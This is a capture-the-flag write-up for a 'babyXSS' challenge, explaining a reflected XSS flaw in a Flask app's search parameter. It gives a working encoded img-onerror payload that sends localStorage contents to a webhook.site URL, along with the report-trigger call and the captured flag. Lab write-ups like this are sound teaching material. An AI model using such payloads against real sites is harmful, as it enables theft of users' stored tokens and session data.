babyXSS
This challenge was available at http://6b.vc:9002. Its source was available: ezxss.tar.gz
The source code is a simple Flask application that renders an index.html template, and also has a selenium script that can receive urls from the user.
@app.route('/')
def index():
return render_template('index.html')
@app.route('/report')
def report_url():
url = request.args.get('url')
if url:
result = visit_url_with_bot(url)
return result
else:
return 'Error: No URL provided!'
We learn in the bot.py file that the flag is stored in localStorage, on http://localhost:9002.
def visit_url_with_bot(url):
(...)
# Go to the site
driver.get(f"http://localhost:{PORT}")
# Wait for the page to load
driver.implicitly_wait(1)
# Set the flag in local storage
driver.execute_script(f"window.localStorage.setItem('flag','{FLAG}');")
# Visit the URL
driver.get(url)
# Wait a bit
time.sleep(5)
# Close the browser
driver.quit()
return "OK"
We can now understand that the goal of this challenge is to inject a malicious script on http://localhost:9002, to extract the flag from the admin bot.
By looking at the index.html template, we can see that it is vulnerable to XSS:
<script>
(...)
function updateSearch() {
const searchTerm = searchInput.value.trim();
if (searchTerm) {
searching.innerHTML = '<div class="text-center text-gray-500">Searching for "' + searchTerm + '"...</div>';
(...)
} else {
searching.innerHTML = '';
(...)
}
}
searchInput.addEventListener('input', () => {
updateSearch()
});
// Initial load
const urlParams = new URLSearchParams(window.location.search);
const searchTerm = urlParams.get('search');
if (searchTerm) {
searchInput.value = decodeURIComponent(searchTerm);
updateSearch()
} else {
displayComments(comments);
}
</script>
The searchInput element is not sanitized (It uses innerHTML instead of innerText), and we can inject a script by setting the search parameter in the URL.
We can generate a webhook url with the following service: https://webhook.site.
From the lecture, we also learn that script tags are executed only on page load. We need to use an image or svg tag to trigger the script execution.
const code = `location.href = "https://webhook.site/40a6771d-b79d-4ea5-bbb3-df68cdcf56b7?"+encodeURI(btoa(localStorage.flag))`
const payload = `<img src=x onerror="eval(atob('${btoa(code)}'))">`
console.log(`http://6b.vc:9002/?search=${encodeURIComponent(payload)}`)
I’m encoding the code to base64 and decoding it to avoid issues with quotes.
I recommend encoding the flag to base64 and then to URI, to avoid issues with special characters.
Now, we can send the malicious link to the bot, and we will receive the flag on the webhook site. Make sure to replace 6b.vc with localhost.
Solution
The following link will make the bot send us the flag.
http://localhost:9002/?search=%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%22%3E
We can trigger the /report endpoint by either using curl or by using the following javascript code in the browser’s console.
fetch("/report?url="+encodeURIComponent("http://localhost:9002/?search=%3Cimg%20src%3Dx%20onerror%3D%22eval(atob('bG9jYXRpb24uaHJlZiA9ICJodHRwczovL3dlYmhvb2suc2l0ZS80MGE2NzcxZC1iNzlkLTRlYTUtYmJiMy1kZjY4Y2RjZjU2Yjc%2FIitlbmNvZGVVUkkoYnRvYShsb2NhbFN0b3JhZ2UuZmxhZykp'))%22%3E"))
We receive the flag on the webhook:
flag{AhmannowIneedinspirationforFlagsRIPP}